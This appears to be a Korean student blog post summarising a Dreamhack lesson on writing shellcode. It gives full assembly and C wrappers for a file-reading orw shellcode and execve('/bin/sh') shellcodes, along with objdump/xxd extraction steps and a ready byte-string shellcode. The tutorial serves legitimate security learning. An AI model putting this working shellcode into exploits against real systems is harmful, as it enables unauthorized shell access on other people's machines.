본문 바로가기
Security/System Hacking

[System Hacking] Dreamhack - 1. Shellcode

by inyeong 2025. 1. 14.

셸코드 (Shellcode) 


해킹에서 상대 시스템을 공격하는 것 익스플로잇(Exploit)이라고 부른다. 

익스플로잇과 관련된 첫 번째 공격 기법 Shellcode에 대해 알아보자. 

 

셸코드익스플로잇을 위해 제작된 어셈블리 코드로, 일반적으로 셸을 획득하기 위한 목적으로 사용된다. 

해커가 rip를 자신이 작성한 셸코드로 옮길 수 있으면 원하는 어셈블리 코드가 실행되게 할 수 있다.

셸코드는 어셈블리어로 구성되므로 공격을 수행할 대상 아키텍처와 운영체제, 셸코드의 목적에 따라 다르게 작성된다.

 

orw 셸코드


orw 셸코드는 파일을 열고, 읽은 뒤 화면에 출력해주는 셸코드이다. 

 

orw 셸코드의 의사코드 

char buf[0x30];

int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30); 
write(1, buf, 0x30);

 

orw 셸코드를 작성하기 위해 알아야 하는 syscall 

syscall rax arg0 (rdi)  arg1 (rsi)  arg2 (rdx) 
read 0x00 unsigned int fd char *buf size_t count
write 0x01 unsigned int fd const char *buf size_t count
open 0x02 const char *filename int flags umode_t mode

 

orw 셸코드 구현 

(1) int fd = open(“/tmp/flag”, O_RDONLY, NULL)

push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)

(2) read(fd, buf, 0x30)

mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)

 

(3) write(1, buf, 0x30)

mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

 

orw 셸코드 컴파일 

대부분의 운영체제는 실행 가능한 파일의 형식을 규정하고 있다. ex) 윈도우의 PE, 리눅스의 ELF

orw.S는 ELF형식이 아니므로 리눅스에서 실행될 수 없으므로 gcc 컴파일을 통해 ELF형식으로 변형한다.

// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "push 0x67\n"
    "mov rax, 0x616c662f706d742f \n"
    "push rax\n"
    "mov rdi, rsp    # rdi = '/tmp/flag'\n"
    "xor rsi, rsi    # rsi = 0 ; RD_ONLY\n"
    "xor rdx, rdx    # rdx = 0\n"
    "mov rax, 2      # rax = 2 ; syscall_open\n"
    "syscall         # open('/tmp/flag', RD_ONLY, NULL)\n"
    "\n"
    "mov rdi, rax      # rdi = fd\n"
    "mov rsi, rsp\n"
    "sub rsi, 0x30     # rsi = rsp-0x30 ; buf\n"
    "mov rdx, 0x30     # rdx = 0x30     ; len\n"
    "mov rax, 0x0      # rax = 0        ; syscall_read\n"
    "syscall           # read(fd, buf, 0x30)\n"
    "\n"
    "mov rdi, 1        # rdi = 1 ; fd = stdout\n"
    "mov rax, 0x1      # rax = 1 ; syscall_write\n"
    "syscall           # write(fd, buf, 0x30)\n"
    "\n"
    "xor rdi, rdi      # rdi = 0\n"
    "mov rax, 0x3c	   # rax = sys_exit\n"
    "syscall		   # exit(0)");

void run_sh();

int main() { run_sh(); }

 

orw 셸코드 실행 

orw.c를 컴파일하고 실행하면 셸코드가 실행된다. 

$ gcc -o orw orw.c -masm=intel
$ ./orw
 

 

execve 셸코드


셸(Shell) 운영체제에 명령을 내리기 위해 사용되는 사용자의 인터페이스,

커널(Kernel)은 운영체제의 핵심 기능을 하는 프로그램이다.

셸을 획득하면 시스템을 제어할 수 있게 되므로 셸 획득을 시스템 해킹의 성공으로 여긴다.

 

execve 셸코드는 임의의 프로그램을 실행하는 셸코드로, 이를 이용하면 서버의 셸을 획득할 수 있다.

 

execve 시스템 콜 

execve 셸코드는 execve 시스템 콜만으로 구성된다.

syscall rax  arg0 (rdi)  arg1 (rsi)  arg2 (rdx) 
execve 0x3b const char *filename const char *const *argv const char *const *envp

 

argv는 실행파일에 넘겨줄 인자, envp는 환경변수다. 

 

/bin/sh를 실행하는 execve 셸코드 작성 : execve("/bin/sh", null, null)

;Name: execve.S

mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp  ; rdi = "/bin/sh\x00"
xor rsi, rsi  ; rsi = NULL
xor rdx, rdx  ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall       ; execve("/bin/sh", null, null)

 

execve 셸코드 컴파일 및 실행 

// File name: execve.c
// Compile Option: gcc -o execve execve.c -masm=intel

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "mov rax, 0x68732f6e69622f\n"
    "push rax\n"
    "mov rdi, rsp  # rdi = '/bin/sh'\n"
    "xor rsi, rsi  # rsi = NULL\n"
    "xor rdx, rdx  # rdx = NULL\n"
    "mov rax, 0x3b # rax = sys_execve\n"
    "syscall       # execve('/bin/sh', null, null)\n"

    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c	# rax = sys_exit\n"
    "syscall        # exit(0)");

void run_sh();

int main() { run_sh(); }

 

objdump를 이용한 shellcode 추출 : shellcode를 byte code(opcode)의 형태로 추출하는 방법

; File name: shellcode.asm
section .text
global _start
_start:
xor    eax, eax
push   eax
push   0x68732f2f
push   0x6e69622f
mov    ebx, esp
xor    ecx, ecx
xor    edx, edx
mov    al, 0xb
int    0x80

 

(1) 아래 명령어를 입력하면 오브젝트 파일인 shellcode.o를 얻을 수 있다.

$ sudo apt-get install nasm 
$ nasm -f elf shellcode.asm
$ objdump -d shellcode.o

 

(2) objcopy 명령어로 shellcode.bin 파일을 얻을 수 있고, xxd 명령어로 16진수 형태로 확인할 수 있다.

$ objcopy --dump-section .text=shellcode.bin shellcode.o
$ xxd shellcode.bin

 

(3) xxd 출력 결과에서 바이트 값들을 추출하면 바이트 코드 형태의 셸코드를 만들 수 있다.

# execve /bin/sh shellcode: 
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"

 

Quiz 


  1. stderr, stdin, stdout의 파일 지정자 stderr = 2, stdin = 0, stdout = 1
  2. execve로 셸을 획득하기 위해 쉘코드의 (a)에 들어갈 값 0x7fffffffc278
  3. execve로 셸을 획득하기 위해 쉘코드의 (b)에 들어갈 값 0x3b   
    pwndbg> x/s 0x7fffffffc278
    "/bin/sh\x00"
    
    mov rdi, (a)  
    xor rsi, rsi 
    xor rdx, rdx 
    mov rax, (b)  
    syscall

출처 :  dreamhack.io - System Hacking 로드맵